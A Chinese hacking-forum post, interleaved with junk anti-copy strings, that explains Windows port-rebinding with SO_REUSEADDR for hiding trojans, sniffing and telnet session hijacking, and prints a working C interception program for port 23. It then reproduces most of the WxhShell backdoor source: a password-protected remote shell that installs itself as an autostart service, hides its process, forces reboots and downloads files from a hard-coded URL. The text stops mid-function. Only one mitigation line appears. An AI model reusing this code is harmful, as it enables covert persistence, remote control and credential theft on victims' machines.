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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <h mRr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (xlA S  
FAF+}  
  saddr.sin_family = AF_INET; lb[\Lzdvmu  
W5zlU2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UN7J6$!Cx7  
xGo,x+U*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <ly.l]g  
[E4#|w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ky |Py  
2j*o[kAE  
  这意味着什么?意味着可以进行如下的攻击: SZm&2~|J  
|(O _K(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }pL#C  
a^.5cJ$]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f)%8*B  
EmubpUS;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H\@@iK=  
G5'HrV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @#KZ2^  
<jHo2U8/"s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [+z*&~'  
6qkMB|@Ix  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $(ei<cAV  
R,KoymXP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LGF5yRk  
#ybtjsu'"U  
  #include I.RmBUq):s  
  #include g=_@j`  
  #include >Mc,c(CvU  
  #include    Pq)C(Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d6;"zW|Ec  
  int main() >Sua:Uff  
  { 1"P^!N  
  WORD wVersionRequested; L[cl$ pYV  
  DWORD ret; pG(%yIiAi  
  WSADATA wsaData; `w/`qG:dK  
  BOOL val; GV(@(bI*  
  SOCKADDR_IN saddr; DSc:>G  
  SOCKADDR_IN scaddr; p:CpY'KV_  
  int err; D+xHTQNTL  
  SOCKET s; )TV{n#n  
  SOCKET sc; R3ru<u>k&  
  int caddsize; sqP (1|9  
  HANDLE mt; 1*u i|fuK  
  DWORD tid;   <zhN7="  
  wVersionRequested = MAKEWORD( 2, 2 ); C lekB  
  err = WSAStartup( wVersionRequested, &wsaData ); Mo_(WSs  
  if ( err != 0 ) { "0#d F:qt  
  printf("error!WSAStartup failed!\n"); H:>i:\J/M9  
  return -1; 1.y|bB+kB  
  } K`#bLCXEV0  
  saddr.sin_family = AF_INET; :{ Q[kYj  
   ";$rcg"%X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qZ|>{^a*  
MW$ X4<*KD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UgjY  
  saddr.sin_port = htons(23); d1=fA%pJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WwBs_OMc  
  { v6q oH)n  
  printf("error!socket failed!\n"); 'k?*?XxG  
  return -1; o9#8q_D9  
  } R@Kzdeo  
  val = TRUE; 2%*mL98WK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YqSkz|o}m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -kI;yL  
  { x=~$ik++  
  printf("error!setsockopt failed!\n"); '#p2v'A  
  return -1; 7lYiufg  
  } G>yTv`-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :Lze8oY(D}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zxffjz,Fe:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oz[: T3oE>  
POtwT">z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6o!Y^^/U  
  { V'jvI  
  ret=GetLastError(); zUCtH*  
  printf("error!bind failed!\n"); Mp`2[S@$  
  return -1; TowRY=#jiS  
  } ! >l)*jN8  
  listen(s,2); N(@B3%H2/J  
  while(1) #`(-Oj2hH  
  { MX\v2["FoV  
  caddsize = sizeof(scaddr); zv}3Sl@  
  //接受连接请求 3}lT"K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :kz"W ya.  
  if(sc!=INVALID_SOCKET) ;+-M+9"?O  
  { krI@N}OU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  a8wQ ,  
  if(mt==NULL) m^M sp:T,  
  { +#a_Y  
  printf("Thread Creat Failed!\n"); \Q m1+tg  
  break; />,KWHR|:  
  } 12JmSvD  
  } x%d\}%]  
  CloseHandle(mt); XFv)]_G  
  } s}5,<|DL  
  closesocket(s); ub,GF?9  
  WSACleanup(); ) ir*\<6Y=  
  return 0; _2N7E#m"S  
  }   "Smek#l  
  DWORD WINAPI ClientThread(LPVOID lpParam) dnW#"  
  { g4-UBDtYt  
  SOCKET ss = (SOCKET)lpParam; K[~fpQGbV1  
  SOCKET sc; mv;;0xH  
  unsigned char buf[4096]; -{ M(1vV(=  
  SOCKADDR_IN saddr; N& 683z  
  long num; `C+>PCO  
  DWORD val; O<KOsu1WW  
  DWORD ret; fCa*#ME  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }cPH}[ $zF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ljw(cUM  
  saddr.sin_family = AF_INET; N&]GP l0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /+g9C(['  
  saddr.sin_port = htons(23); ?wpS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /3`(Ki{ Q  
  { 8'}D/4MUr  
  printf("error!socket failed!\n"); pDloew  
  return -1; Ga M:/.  
  } R@[gkj  
  val = 100; [W#M(`}D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3{*nG'@Mal  
  { Q eZg l!  
  ret = GetLastError(); S_ELV#X  
  return -1; JsZLBq*lP  
  } 9\J.AAk~/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <<5x"W(,  
  { LI`H,2Km  
  ret = GetLastError(); aR0'$*3E  
  return -1; M8p6f)l3  
  } 7i@vj7K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z| f~   
  { '1r<g\ l  
  printf("error!socket connect failed!\n"); Uxl7O4J@H  
  closesocket(sc); CqkY_z  
  closesocket(ss); @7j$$  
  return -1; 3 J!J#  
  } .WV5Gf)  
  while(1) %c"t`  
  { nA)KRCi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [d^ [Y:I'\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #vs=yR/tn{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dPmtU{E<M  
  num = recv(ss,buf,4096,0); e_v_y$  
  if(num>0) )@,zG(t5;  
  send(sc,buf,num,0); qwomc28O  
  else if(num==0) >o_cf*nx  
  break; /nas~{B  
  num = recv(sc,buf,4096,0); r;C BA'Z  
  if(num>0) W~i599!v  
  send(ss,buf,num,0); (aTpBXGr=  
  else if(num==0) n=8DC&  
  break; ~M?^T$5  
  } D]StDOmM  
  closesocket(ss); ]qPrXuS/  
  closesocket(sc); oT}-i [=}  
  return 0 ; 4Y `=`{Q  
  } lKyeG(  
`vc?*"  
sb"h:i>O4  
========================================================== kmZ  U;Z  
+F@ZVMp  
下边附上一个代码,,WXhSHELL aP}30E*Y  
59X'-fg,  
========================================================== r' E|6_0  
mi& mQQ  
#include "stdafx.h" dZIruZ)x  
X*QQVj  
#include <stdio.h> g3Z"ri~!G  
#include <string.h> eX3|<Bf  
#include <windows.h> 3@8Zy:[8<  
#include <winsock2.h> kl[Jt)"4@  
#include <winsvc.h> <#%kmYSL  
#include <urlmon.h> 4E 0 Y=  
l37) Q  
#pragma comment (lib, "Ws2_32.lib") RJa1p YK  
#pragma comment (lib, "urlmon.lib") qw35LyL  
r t\eze_5A  
#define MAX_USER   100 // 最大客户端连接数 "Iu Pg=|#  
#define BUF_SOCK   200 // sock buffer \F5d p  
#define KEY_BUFF   255 // 输入 buffer 8=Aoj% l#  
^P~NE#p5  
#define REBOOT     0   // 重启 Wa!}$q+  
#define SHUTDOWN   1   // 关机 :211T&B%A_  
 5JggU  
#define DEF_PORT   5000 // 监听端口 <F6LC_  
j3&tXZ;F  
#define REG_LEN     16   // 注册表键长度 ~;D5j) 9I  
#define SVC_LEN     80   // NT服务名长度 Zv^n  
RQQ\y`h`  
// 从dll定义API hreG5g9{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OkfnxknZ|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qku}cWD9/_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {T'M4y=)i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _<m yM2z  
yDmx)^En  
// wxhshell配置信息 ''3b[<  
struct WSCFG { dk[MT'DV  
  int ws_port;         // 监听端口 /&!4oBna  
  char ws_passstr[REG_LEN]; // 口令 "R % 3v.Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q8?:L<A  
  char ws_regname[REG_LEN]; // 注册表键名 dSPye z  
  char ws_svcname[REG_LEN]; // 服务名 Uf\,U8UB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1%Su~Z"W>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Q*OA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7I;A5f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eccJt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,f)#&}x*2+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @0&KM|+  
Ro :)N:C  
}; vH)V\V  
RElIWqgY  
// default Wxhshell configuration ujan2'YT  
struct WSCFG wscfg={DEF_PORT, =QJI_veUG`  
    "xuhuanlingzhe", 6!$2nK+  
    1, >NMq^J'/  
    "Wxhshell", -W'T3_  
    "Wxhshell", cZ l/8?dj}  
            "WxhShell Service", AoFxho  
    "Wrsky Windows CmdShell Service", {No Y`j5S  
    "Please Input Your Password: ", >`o;hTS  
  1, `w K6B5>  
  "http://www.wrsky.com/wxhshell.exe", w7`09oJm  
  "Wxhshell.exe" WNcJ710k27  
    }; 3u@=]0ZN  
0$:jZ/._  
// 消息定义模块 z 8y.@<6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y41,T&ja  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5Zy%Nam'gN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W+`T:Mgh  
char *msg_ws_ext="\n\rExit."; $c1xh.  
char *msg_ws_end="\n\rQuit."; =kDh:&u%  
char *msg_ws_boot="\n\rReboot..."; +Vw]DLWR  
char *msg_ws_poff="\n\rShutdown..."; eYD-8*  
char *msg_ws_down="\n\rSave to "; 6O| rI>D  
wS @-EcCB  
char *msg_ws_err="\n\rErr!"; Cu`ty] -'  
char *msg_ws_ok="\n\rOK!"; GB8>R  
YLehY  
char ExeFile[MAX_PATH]; T))F r:  
int nUser = 0; K6G+sBw[  
HANDLE handles[MAX_USER]; Qa@] sWcM  
int OsIsNt; x03@}M1  
=BroH\  
SERVICE_STATUS       serviceStatus; 2 i97  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %shCqS  
Ck>{7 Gw  
// 函数声明 _qvzZ6  
int Install(void); Kw87 0n<  
int Uninstall(void); Bhg,P.7  
int DownloadFile(char *sURL, SOCKET wsh); ,HECHA_"  
int Boot(int flag); [iUy_ C=qp  
void HideProc(void); ?4H>1Wkb  
int GetOsVer(void); Wo+^R%K' 4  
int Wxhshell(SOCKET wsl); m,^UD{  
void TalkWithClient(void *cs); iCNJ%AZ H  
int CmdShell(SOCKET sock); EPd   
int StartFromService(void); (g3@3.Kk)  
int StartWxhshell(LPSTR lpCmdLine); `L7Cf&W\l8  
|{9&!=/qf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }II)<g'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^k5#{?I  
fx*Q,}t  
// 数据结构和表定义 4`'V%)M  
SERVICE_TABLE_ENTRY DispatchTable[] =  ?F/)<r  
{ Kdr} 7#c  
{wscfg.ws_svcname, NTServiceMain}, {VT**o  
{NULL, NULL} "] [u  
}; pz ~REsx  
bBgyLyg  
// 自我安装 O6$n VpD3  
int Install(void) t-?#x   
{ w" ,ab j  
  char svExeFile[MAX_PATH]; 8T}Dn\f  
  HKEY key; h )h%y)1  
  strcpy(svExeFile,ExeFile); 4MPR  
k\Z@B!VAq  
// 如果是win9x系统,修改注册表设为自启动 Rgb&EnVW  
if(!OsIsNt) { =i:,")W7=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {+jO/ZQu5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q3rLCg,;  
  RegCloseKey(key); @j'GcN vs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6!Uk c'r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y{g[LG`U  
  RegCloseKey(key); <|1Khygv  
  return 0; 9T%b#~?3P  
    } ",P?jgs^g5  
  } d-'BT(@:  
} f[Xsri  
else { :uB(PeAv*  
EpB3s{B"  
// 如果是NT以上系统,安装为系统服务 DA^!aJ6iF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yM# %UeZ\  
if (schSCManager!=0) OPJ(ub  
{ ?e2G{0V  
  SC_HANDLE schService = CreateService \JDxN  
  ( $%.,=~W7  
  schSCManager, L7nW_  
  wscfg.ws_svcname, BE)&.}l  
  wscfg.ws_svcdisp, z yrjb 8  
  SERVICE_ALL_ACCESS, P#-p* 4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _@! yj  
  SERVICE_AUTO_START, &?Z<"+B8S  
  SERVICE_ERROR_NORMAL, P1dFoQz  
  svExeFile, hr`,s!0Y  
  NULL, y/;DA=  
  NULL, dZuPR  
  NULL, Mw|lEctN0  
  NULL, hp$1c  
  NULL |>Pz#DCy  
  ); ZDx1v_xr  
  if (schService!=0) g5lK&-yu]  
  { l._g[qa  
  CloseServiceHandle(schService); =4 NKXP~C  
  CloseServiceHandle(schSCManager); $J=`fx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <z8z\4Hz  
  strcat(svExeFile,wscfg.ws_svcname); cv-;fd>'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mNKcaM?h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aEn*vun  
  RegCloseKey(key); 6f)7*j~  
  return 0; +Ou<-EQV  
    } g1I8_!}~  
  } p<c1$O*  
  CloseServiceHandle(schSCManager); &"d :+!4h  
} vDCbD#.6  
} uTNy{RBD+  
uoTc c|Kc  
return 1; KN'twPFq  
} \ 0.!al0  
K6s tkDhb  
// 自我卸载 h>ZU67-   
int Uninstall(void) 1pP q)}=+  
{ L~*nI d  
  HKEY key; T@mYHKu  
Mo]aB:a  
if(!OsIsNt) { >%A~ :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OmZK~$K_  
  RegDeleteValue(key,wscfg.ws_regname); S^{tRPF%d  
  RegCloseKey(key); c3(0BSv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A`1-c   
  RegDeleteValue(key,wscfg.ws_regname); &'u%|A@  
  RegCloseKey(key); ';LsEI[  
  return 0; {EJ+   
  } )}@Z*.HZL  
} +>Pq]{Uf1j  
} j-zWckT{  
else { p~OX1RBI  
?dmw z4k0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R'qBG(?i  
if (schSCManager!=0) Y8for'  
{ q+ka}@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )kIjZ  
  if (schService!=0) nPhREn!  
  { !eP0b~$/^J  
  if(DeleteService(schService)!=0) { !'Ww%ZL\   
  CloseServiceHandle(schService); BirnCfj/2  
  CloseServiceHandle(schSCManager); .&.L@CRH  
  return 0; ;iz3Bf1o  
  } ]F #0to  
  CloseServiceHandle(schService); f{U,kCv  
  } |nY+Nen7  
  CloseServiceHandle(schSCManager); ~?B\+6<V  
} #J~xKyJi'  
} ;}'Z2gZ B  
Q}uh`?t  
return 1; !, {-q)'D  
} -BH T'zq1S  
\~.elKw<U  
// 从指定url下载文件 n<Ki.;-ZE  
int DownloadFile(char *sURL, SOCKET wsh) @%!Gj{   
{ Y#FSU# a$<  
  HRESULT hr; z8 K#G%,:  
char seps[]= "/"; vH@$?b3VP  
char *token; 5uU{!JuSa  
char *file; E//*bmww  
char myURL[MAX_PATH]; USH>`3  
char myFILE[MAX_PATH]; +1Pu29B0  
G$s=P  
strcpy(myURL,sURL); g_?bWm4br  
  token=strtok(myURL,seps); ,irc=0M(  
  while(token!=NULL) 4"eeEs h  
  { hA+;eXy/  
    file=token; :@S=0|:j  
  token=strtok(NULL,seps); 02C;  
  } A+VzpJ~  
^+Njz{rpG  
GetCurrentDirectory(MAX_PATH,myFILE); z5W;-sCz  
strcat(myFILE, "\\"); J7k=5Fqej;  
strcat(myFILE, file); zwK$ q=-:  
  send(wsh,myFILE,strlen(myFILE),0); Tx(=4ALY  
send(wsh,"...",3,0); 7eG@)5Uy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,.V=y%  
  if(hr==S_OK) aZCxyoh+  
return 0; Oyp)Wm;@  
else }3R:7N`,|  
return 1; be'&tsZ9  
$it>*%  
} GuQ#  
yn04[PN2  
// 系统电源模块 jR{t=da  
int Boot(int flag) iBCIJ!;  
{ C3b<Wa])  
  HANDLE hToken; e)oi3d.wJf  
  TOKEN_PRIVILEGES tkp; Hr/J6kyB)  
Z$S0X $q}  
  if(OsIsNt) { B|SX?X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E#n: d9WA:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f0g&=k{OD  
    tkp.PrivilegeCount = 1; 6+Y@dJnPT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EI@ep~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kv`5"pa7M  
if(flag==REBOOT) { +'UxO'v3]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t_Ul;HVPS  
  return 0; +Q!Kj7EU/  
} (ewcj\l4*  
else { aW b5w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /_r{7Gq.  
  return 0; a2H_8iQ!  
} Q]-r'pYr  
  } )==Qo/N:  
  else { s_76)7  
if(flag==REBOOT) { I2C1mV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5S4`.'  
  return 0;  #uuNH(  
} b<KKF'  
else { osTin*T.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PAu/iqCH  
  return 0; QM'>)!8  
} 1 w9Aoc  
} i(kr#XsU  
EZ^M?awB4  
return 1; 4'XCO+i#  
} &XSe&1  
c1StA  
// win9x进程隐藏模块 OoR0>!x Z  
void HideProc(void) T4}q%%7l  
{ %`:+A?zL  
KQ.cd]6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IFWP&20  
  if ( hKernel != NULL ) ~<[]l~`  
  { iPrAB*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dz+R Q`Vn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }fz;La:b  
    FreeLibrary(hKernel); XPcx"zv\  
  } 5v#_2Ih  
{4b8s%:!4  
return; <nn!9V\C   
} RQ[6svfP  
e6^iakSd.L  
// 获取操作系统版本 uB 35CRd  
int GetOsVer(void) kk3G~o +  
{ S;S_<GX  
  OSVERSIONINFO winfo; BU;E6s>P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ) 2Hl\"F  
  GetVersionEx(&winfo); +K[H! fD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j(\jYH>   
  return 1; SL>0_  
  else ^ v@& q  
  return 0; U+g<lgH1J  
} vjD||!g'  
on0>_-n)  
// 客户端句柄模块 a5%IjgQ&z  
int Wxhshell(SOCKET wsl) T8a!"lPP7  
{ (1Ii86EP  
  SOCKET wsh; !6d`e"\K  
  struct sockaddr_in client; uJ/ &!q<3  
  DWORD myID; Cg&cz]*q|  
-44''w?z  
  while(nUser<MAX_USER) !u|s| 6{\  
{ Sc&p*G  
  int nSize=sizeof(client); @KC;"u'C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R8R,!3 N  
  if(wsh==INVALID_SOCKET) return 1; <4P"1#nHQ+  
u\|Ys  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0"$'1g^]7  
if(handles[nUser]==0) /<oBgFMoJ  
  closesocket(wsh); MM4Eq>F/  
else CEp @-R  
  nUser++; > v ]-B"Y  
  } JZB@K6 ~dO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d!]_n|B@9  
D$y-Kh  
  return 0; W=T,hOyh<W  
} f}F   
viR-h iD  
// 关闭 socket <3c|S_|L*m  
void CloseIt(SOCKET wsh) Tof H =d  
{ j4.deQ,  
closesocket(wsh); 4';(\42  
nUser--; bO?Us  
ExitThread(0); 4 g^oy^~  
} }z8HS< #Q  
`=cOTn52  
// 客户端请求句柄 m;KD@E!  
void TalkWithClient(void *cs) 8?&u5  
{ .m\'|%  
En/EQ\T@F  
  SOCKET wsh=(SOCKET)cs; /*5lO;!s{  
  char pwd[SVC_LEN]; ar| !iU  
  char cmd[KEY_BUFF]; "#a,R ^J  
char chr[1]; DnW*q/=w  
int i,j; _m|Tr*i8  
$N)b6(}F10  
  while (nUser < MAX_USER) { O* 7` Waag  
Vy[ m%sEP  
if(wscfg.ws_passstr) { |#=4]]>m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); knJoVo]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ro|%pT  
  //ZeroMemory(pwd,KEY_BUFF); 2DTBL:?`  
      i=0; ,,[pc  
  while(i<SVC_LEN) { :IlJQ{=W  
'VTLp.~G~  
  // 设置超时 ^J Y]w^u  
  fd_set FdRead; 73OYHp_j  
  struct timeval TimeOut; (Cjw^P|Y@  
  FD_ZERO(&FdRead); _l;$<]re\k  
  FD_SET(wsh,&FdRead); E<XrXxS1O  
  TimeOut.tv_sec=8; Bys_8x}  
  TimeOut.tv_usec=0; @fxDe[J:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  @Iy&Qo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )~l`%+  
@-QDp`QtI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y6S:[Z{~A  
  pwd=chr[0]; OJF41Z  
  if(chr[0]==0xd || chr[0]==0xa) { S 2SJFp  
  pwd=0; Lcpz(W ^  
  break; Xi!`+N4  
  }  G(1y_t  
  i++; |SF5'\d'  
    } =Wj{J.7mf]  
O}IRM|r"  
  // 如果是非法用户,关闭 socket _Y gvLz %  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fb{kql=  
} b)Px  
oCftI':@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o|BEY3|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); To"J>:l  
ir ^XZVR  
while(1) { 9c_h+XN?y  
vCh/%7+  
  ZeroMemory(cmd,KEY_BUFF); lP:ll])p2  
Mli`[8@(  
      // 自动支持客户端 telnet标准   Iq[Z5k(K  
  j=0; 1]<w ZV}.  
  while(j<KEY_BUFF) { `vFYe N;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;<=B I!  
  cmd[j]=chr[0]; ~'9>jpnw  
  if(chr[0]==0xa || chr[0]==0xd) { Ev7fvz =  
  cmd[j]=0; .j)f'<;%  
  break; b:w {7  
  } ZNEWUt{+;^  
  j++; ~Z#jIG<?g  
    } PHh&@:  
5#v|t\ {  
  // 下载文件 C`0;  
  if(strstr(cmd,"http://")) { M@/Hd0$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (;@\gRL  
  if(DownloadFile(cmd,wsh)) ;{k`nv_6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G*;6cV19  
  else eJ23$VM+9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cg! ]x o  
  } h NCoX*icd  
  else { A#6\5u  
\Y{^Q7!>:8  
    switch(cmd[0]) { f2"1^M  
  tM$w0Cj  
  // 帮助 Mh+ym]6\(k  
  case '?': { #K3`$^0 s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >$yqx1=jW  
    break; DVWqrK}q  
  } *l[;g  
  // 安装 _V`Gmy[]p  
  case 'i': { RvPC7,vh  
    if(Install()) }H4Z726  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e5 ?;{H  
    else TEK]$%2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eaxp(VX?oy  
    break; [*k25N  
    } Iw<: k  
  // 卸载 dk^Uf84.Gr  
  case 'r': { kCu"G  
    if(Uninstall()) @l:o0(!W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JP t=~e(  
    else 18AKM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  0"VL6$  
    break; }sm PP*  
    } h8Bs=T  
  // 显示 wxhshell 所在路径 !A\Qwg>  
  case 'p': { ; =FSpZ@  
    char svExeFile[MAX_PATH]; d/k70Ybk  
    strcpy(svExeFile,"\n\r"); dt -=7mz#  
      strcat(svExeFile,ExeFile); J AK+v  
        send(wsh,svExeFile,strlen(svExeFile),0); ; SS/bS|  
    break; #0WGSIht<  
    } Jmp%%^  
  // 重启 /*+P}__k  
  case 'b': { {Di()]/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : ;nvqbd  
    if(Boot(REBOOT)) H7 xyK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M%evk4_27  
    else { ]R$ u3F  
    closesocket(wsh); I+?9}t  
    ExitThread(0); #xMl<  
    }  / >Z`?  
    break; v^=Po6S[{+  
    } BP6|^Q  
  // 关机 [LQD]#  
  case 'd': { g.3a5#t  
